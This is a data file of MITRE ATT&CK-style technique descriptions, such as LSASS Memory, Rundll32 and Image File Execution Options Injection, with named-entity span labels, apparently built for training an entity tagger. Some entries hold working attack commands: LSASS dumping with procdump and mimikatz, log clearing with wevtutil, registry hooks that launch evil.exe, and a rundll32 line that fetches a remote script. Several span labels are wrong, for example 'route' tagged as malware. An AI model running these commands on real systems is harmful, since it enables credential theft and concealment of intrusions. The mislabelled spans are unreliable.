+{"text": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.", "spans": {}, "info": {"source": "apt_reports", "name": "Defacement"}}
+{"text": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.", "spans": {"SYSTEM: AWS": [[860, 863]]}, "info": {"source": "apt_reports", "name": "Unused/Unsupported Cloud Regions"}}
+{"text": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.", "spans": {"MALWARE: route": [[1454, 1459]]}, "info": {"source": "apt_reports", "name": "DHCP Spoofing"}}
+{"text": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  . Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.", "spans": {"TOOL: SSH": [[626, 629]], "SYSTEM: macOS": [[0, 5]]}, "info": {"source": "apt_reports", "name": "AppleScript"}}
+{"text": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.", "spans": {"TOOL: SSH": [[233, 236]], "TOOL: RDP": [[242, 245]]}, "info": {"source": "apt_reports", "name": "Remote Service Session Hijacking"}}
+{"text": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.", "spans": {"FILEPATH: /proc/benign-process": [[585, 605]], "FILEPATH: /proc/malicious-process`": [[606, 630]], "SYSTEM: Windows": [[224, 231]]}, "info": {"source": "apt_reports", "name": "Bind Mounts"}}
+{"text": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.", "spans": {"ORGANIZATION: VirusTotal": [[856, 866]]}, "info": {"source": "apt_reports", "name": "Binary Padding"}}
+{"text": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).", "spans": {"MALWARE: China Chopper": [[504, 517]]}, "info": {"source": "apt_reports", "name": "Web Shell"}}
+{"text": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`. \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution,  and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>. In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.", "spans": {"SYSTEM: Windows": [[1507, 1514]], "SYSTEM: Group Policy": [[23, 35]], "SYSTEM: Active Directory": [[266, 282]], "SYSTEM: GPO": [[608, 611], [713, 716], [1059, 1062], [1242, 1245]], "ORGANIZATION: Microsoft": [[1497, 1506]]}, "info": {"source": "apt_reports", "name": "Group Policy Modification"}}
+{"text": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).", "spans": {"FILEPATH: %APPDATA%": [[757, 766]], "SYSTEM: Chrome": [[774, 780]], "ORGANIZATION: Google": [[767, 773]]}, "info": {"source": "apt_reports", "name": "Browser Information Discovery"}}
+{"text": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity. An adversary with access to the device may be able to export the keys in order to impersonate the device.\n\nOn network devices, private keys may be exported via Network Device CLI commands such as `crypto pki export`. \n\nSome private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.", "spans": {"TOOL: SSH": [[435, 438], [1254, 1257]], "SYSTEM: Entra ID": [[690, 698]], "SYSTEM: Windows": [[528, 535]], "VULNERABILITY: keylogging": [[1121, 1131]]}, "info": {"source": "apt_reports", "name": "Private Keys"}}
+{"text": "Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.", "spans": {"VULNERABILITY: watering hole": [[267, 280]]}, "info": {"source": "apt_reports", "name": "Server"}}
+{"text": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the `winrm` command or by any number of programs such as PowerShell. WinRM  can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"TOOL: WinRM": [[100, 105], [171, 176], [438, 443]], "TOOL: PowerShell": [[426, 436]], "SYSTEM: Windows": [[73, 80], [199, 206], [498, 505]]}, "info": {"source": "apt_reports", "name": "Windows Remote Management"}}
+{"text": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Bluetooth"}}
+{"text": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.", "spans": {"SYSTEM: Kubernetes": [[500, 510]], "SYSTEM: ESXi": [[459, 463], [1247, 1251], [1357, 1361], [1546, 1550]], "SYSTEM: Windows": [[260, 267]], "SYSTEM: AWS": [[429, 432]], "SYSTEM: vCenter": [[1277, 1284], [1497, 1504]]}, "info": {"source": "apt_reports", "name": "Default Accounts"}}
+{"text": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.", "spans": {"SYSTEM: Windows": [[80, 87]]}, "info": {"source": "apt_reports", "name": "Time Providers"}}
+{"text": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g  notepad.exe”). \n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.  IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. \n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).   Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.  \n\nAn example where the evil.exe process is started when notepad.exe exits: \n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to Process Injection, these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.  Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications.", "spans": {"FILEPATH: C:\\dbg\\ntsd.exe": [[276, 291]], "FILEPATH: C:\\temp\\evil.exe": [[1601, 1617]], "SYSTEM: Windows": [[517, 524], [1060, 1067], [1232, 1239], [1382, 1389], [1522, 1529]], "ORGANIZATION: Microsoft": [[507, 516], [1050, 1059], [1222, 1231], [1372, 1381], [1512, 1521]], "VULNERABILITY: privilege escalation": [[1710, 1730]], "MALWARE: Global": [[362, 368]]}, "info": {"source": "apt_reports", "name": "Image File Execution Options Injection"}}
+{"text": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. \n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks.", "spans": {"TOOL: rundll32": [[4, 12], [224, 232], [305, 313], [564, 572], [713, 721]], "SYSTEM: Windows": [[291, 298]]}, "info": {"source": "apt_reports", "name": "Rundll32"}}
+{"text": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands.", "spans": {"SYSTEM: Windows": [[0, 7], [379, 386]]}, "info": {"source": "apt_reports", "name": "Modify Existing Service"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.", "spans": {}, "info": {"source": "apt_reports", "name": "Trap"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", "spans": {"SYSTEM: macOS": [[389, 394]], "SYSTEM: Linux": [[342, 347], [957, 962]]}, "info": {"source": "apt_reports", "name": "Dynamic Linker Hijacking"}}
+{"text": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.\n\nAdversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: macOS": [[420, 425]], "SYSTEM: Kubernetes": [[670, 680]], "SYSTEM: ESXi": [[618, 622]], "SYSTEM: Windows": [[283, 290]], "SYSTEM: Linux": [[369, 374]]}, "info": {"source": "apt_reports", "name": "Local Account"}}
+{"text": "Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. \n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.\n\nThis technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.", "spans": {"ORGANIZATION: Intel": [[851, 856]]}, "info": {"source": "apt_reports", "name": "Search Threat Vendor Data"}}
+{"text": "Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.", "spans": {"TOOL: PowerShell": [[928, 938]], "SYSTEM: Windows": [[490, 497]]}, "info": {"source": "apt_reports", "name": "Input Injection"}}
+{"text": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", "spans": {}, "info": {"source": "apt_reports", "name": "Communication Through Removable Media"}}
+{"text": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.", "spans": {"FILEPATH: C:\\Windows\\System32\\winevt\\logs\\`.": [[1025, 1059]], "TOOL: PowerShell": [[624, 634], [673, 683]], "TOOL: wevtutil": [[433, 441], [467, 475], [506, 514]], "SYSTEM: Windows": [[22, 29], [79, 86], [1028, 1035]]}, "info": {"source": "apt_reports", "name": "Clear Windows Event Logs"}}
+{"text": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes.\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.", "spans": {}, "info": {"source": "apt_reports", "name": "Email Accounts"}}
+{"text": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. \n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.", "spans": {"TOOL: Responder": [[2038, 2047]], "TOOL: expand": [[1867, 1873]], "TOOL: Metasploit": [[2022, 2032]], "SYSTEM: NTLM": [[1915, 1919]], "SYSTEM: SMB": [[1843, 1846]], "SYSTEM: Windows": [[340, 347]], "SYSTEM: LDAP": [[1837, 1841]], "ORGANIZATION: Microsoft": [[330, 339]]}, "info": {"source": "apt_reports", "name": "LLMNR/NBT-NS Poisoning and SMB Relay"}}
+{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.", "spans": {"SYSTEM: Unix": [[943, 947]]}, "info": {"source": "apt_reports", "name": "File and Directory Permissions Modification"}}
+{"text": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>\n\nSimilar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.", "spans": {"FILEPATH: C:\\Windows\\System32\\comsvcs.dll": [[852, 883]], "TOOL: rundll32": [[839, 847]], "TOOL: procdump": [[580, 588], [599, 607]], "SYSTEM: Kerberos": [[2102, 2110]], "SYSTEM: Windows": [[776, 783], [855, 862], [1067, 1074], [1110, 1117], [1305, 1312], [1738, 1745], [2172, 2179]]}, "info": {"source": "apt_reports", "name": "LSASS Memory"}}
+{"text": "Adversaries may abuse the at utility to perform task scheduling for initial, recurring, or future execution of malicious code. The at command within Linux operating systems enables administrators to schedule tasks.\n\nAn adversary may use at in Linux environments to execute programs at system startup or on a scheduled basis for persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via <code>sudo</code>.", "spans": {"SYSTEM: Linux": [[149, 154], [243, 248]]}, "info": {"source": "apt_reports", "name": "At (Linux)"}}
+{"text": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE.   \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., IDE Tunneling).  \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.", "spans": {"TOOL: SSH": [[663, 666], [708, 711]], "SYSTEM: Git": [[329, 332]], "SYSTEM: Docker": [[337, 343]]}, "info": {"source": "apt_reports", "name": "IDE Extensions"}}
